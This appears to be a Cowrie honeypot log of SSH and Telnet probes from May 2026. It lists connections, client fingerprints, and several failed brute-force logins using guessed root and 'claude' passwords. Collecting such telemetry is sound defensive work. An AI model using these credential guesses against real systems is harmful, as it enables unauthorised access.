{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:34.115947Z","src_ip":"103.101.216.219","session":"041c3fb38456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57692,"dst_ip":"10.17.0.5","dst_port":23,"session":"f00aac401221","protocol":"telnet","message":"New connection: 192.119.13.58:57692 (10.17.0.5:23) [session: f00aac401221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:35.027442Z"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:35.036384Z","src_ip":"45.33.14.197","session":"61ef387f1105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.37485671043396,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:35.614647Z","src_ip":"192.119.13.58","session":"f63eb4d7b2ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":39228,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2103058344e","protocol":"ssh","message":"New connection: 170.106.188.200:39228 (159.203.135.109:22) [session: a2103058344e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:35.677217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:35.682638Z","src_ip":"170.106.188.200","session":"a2103058344e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:35.750018Z","src_ip":"170.106.188.200","session":"a2103058344e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd@01","message":"login attempt [root/Passw0rd@01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:36.052573Z","src_ip":"170.106.188.200","session":"a2103058344e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:37.124254Z","src_ip":"170.106.188.200","session":"a2103058344e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":49312,"dst_ip":"159.203.135.109","dst_port":22,"session":"98b0a2556d22","protocol":"ssh","message":"New connection: 186.4.240.226:49312 (159.203.135.109:22) [session: 98b0a2556d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:37.640432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:37.645669Z","src_ip":"186.4.240.226","session":"98b0a2556d22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:37.731938Z","src_ip":"186.4.240.226","session":"98b0a2556d22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:38.108772Z","src_ip":"186.4.240.226","session":"98b0a2556d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.022233963012695,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:38.841924Z","src_ip":"192.119.13.58","session":"9a414f7f45f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:39.197647Z","src_ip":"186.4.240.226","session":"98b0a2556d22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55838,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b28f4355670","protocol":"telnet","message":"New connection: 192.119.13.58:55838 (10.17.0.5:23) [session: 2b28f4355670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:43.152870Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":46424,"dst_ip":"159.203.135.109","dst_port":22,"session":"76cf2d681427","protocol":"ssh","message":"New connection: 103.75.183.219:46424 (159.203.135.109:22) [session: 76cf2d681427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:46.331373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:46.340936Z","src_ip":"103.75.183.219","session":"76cf2d681427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:46.586805Z","src_ip":"103.75.183.219","session":"76cf2d681427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2ws","message":"login attempt [root/1qaz2ws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:47.324394Z","src_ip":"103.75.183.219","session":"76cf2d681427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.16859483718872,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:47.556654Z","src_ip":"192.119.13.58","session":"6aa92ac23894","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.63940644264221,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:48.298696Z","src_ip":"192.119.13.58","session":"74b845c24e55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:48.572394Z","src_ip":"103.75.183.219","session":"76cf2d681427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":60920,"dst_ip":"159.203.135.109","dst_port":22,"session":"e631d1541bd0","protocol":"ssh","message":"New connection: 103.149.170.125:60920 (159.203.135.109:22) [session: e631d1541bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:49.338960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:49.344310Z","src_ip":"103.149.170.125","session":"e631d1541bd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:49.617932Z","src_ip":"103.149.170.125","session":"e631d1541bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52872,"dst_ip":"10.17.0.5","dst_port":23,"session":"7af6d835591d","protocol":"telnet","message":"New connection: 192.119.13.58:52872 (10.17.0.5:23) [session: 7af6d835591d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:49.897002Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"19821982","message":"login attempt [root/19821982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:50.443583Z","src_ip":"103.149.170.125","session":"e631d1541bd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:51.719158Z","src_ip":"103.149.170.125","session":"e631d1541bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58070,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eb354b62967","protocol":"telnet","message":"New connection: 192.119.13.58:58070 (10.17.0.5:23) [session: 6eb354b62967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:52.500643Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34218,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2af281ef243","protocol":"telnet","message":"New connection: 192.119.13.58:34218 (10.17.0.5:23) [session: d2af281ef243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:52.786090Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41100,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3a695646f7d","protocol":"telnet","message":"New connection: 192.119.13.58:41100 (10.17.0.5:23) [session: d3a695646f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:54.919514Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51540,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f0819abccb6","protocol":"telnet","message":"New connection: 192.119.13.58:51540 (10.17.0.5:23) [session: 5f0819abccb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:57.626014Z"}
{"eventid":"cowrie.session.closed","duration":36.743809938430786,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:03.303405Z","src_ip":"192.119.13.58","session":"8282665f80f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.07466220855713,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:09.101953Z","src_ip":"192.119.13.58","session":"f00aac401221","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53146,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1bada9d75ba","protocol":"telnet","message":"New connection: 192.119.13.58:53146 (10.17.0.5:23) [session: f1bada9d75ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:09.349382Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36576,"dst_ip":"10.17.0.5","dst_port":23,"session":"6012cf013ad8","protocol":"telnet","message":"New connection: 192.119.13.58:36576 (10.17.0.5:23) [session: 6012cf013ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:14.207106Z"}
{"eventid":"cowrie.session.closed","duration":38.582000732421875,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:21.734740Z","src_ip":"192.119.13.58","session":"2b28f4355670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33570647239685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:23.121650Z","src_ip":"192.119.13.58","session":"d2af281ef243","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52973,"dst_ip":"10.17.0.5","dst_port":22,"session":"e882c27b1bf9","protocol":"ssh","message":"New connection: 152.42.212.128:52973 (10.17.0.5:22) [session: e882c27b1bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:24.336083Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:24.340497Z","src_ip":"152.42.212.128","session":"e882c27b1bf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:24.346598Z","src_ip":"152.42.212.128","session":"e882c27b1bf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.440980195999146,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:24.941482Z","src_ip":"192.119.13.58","session":"6eb354b62967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.9506676197052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:25.847540Z","src_ip":"192.119.13.58","session":"7af6d835591d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":59632,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0f3875a514e","protocol":"telnet","message":"New connection: 186.195.16.41:59632 (159.203.135.109:23) [session: d0f3875a514e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:28.781353Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":59579,"dst_ip":"159.203.135.109","dst_port":23,"session":"a839bfb721f5","protocol":"telnet","message":"New connection: 186.195.16.41:59579 (159.203.135.109:23) [session: a839bfb721f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:28.787352Z"}
{"eventid":"cowrie.session.closed","duration":38.161561489105225,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:35.787438Z","src_ip":"192.119.13.58","session":"5f0819abccb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":35908,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f13bb3e1f06","protocol":"ssh","message":"New connection: 194.113.233.25:35908 (159.203.135.109:22) [session: 8f13bb3e1f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:37.248845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:37.387351Z","src_ip":"194.113.233.25","session":"8f13bb3e1f06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:37.392398Z","src_ip":"194.113.233.25","session":"8f13bb3e1f06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456p","message":"login attempt [root/123456p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:37.758562Z","src_ip":"194.113.233.25","session":"8f13bb3e1f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46598,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca5a240d4428","protocol":"telnet","message":"New connection: 192.119.13.58:46598 (10.17.0.5:23) [session: ca5a240d4428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:38.585845Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:38.852406Z","src_ip":"194.113.233.25","session":"8f13bb3e1f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49214,"dst_ip":"10.17.0.5","dst_port":23,"session":"e15eae89f742","protocol":"telnet","message":"New connection: 192.119.13.58:49214 (10.17.0.5:23) [session: e15eae89f742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:39.411025Z"}
{"eventid":"cowrie.session.closed","duration":46.903865575790405,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:41.823050Z","src_ip":"192.119.13.58","session":"d3a695646f7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":56316,"dst_ip":"159.203.135.109","dst_port":22,"session":"1acb5633679a","protocol":"ssh","message":"New connection: 170.106.188.200:56316 (159.203.135.109:22) [session: 1acb5633679a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:43.371945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:04:43.377721Z","src_ip":"170.106.188.200","session":"1acb5633679a","protocol":"ssh"}
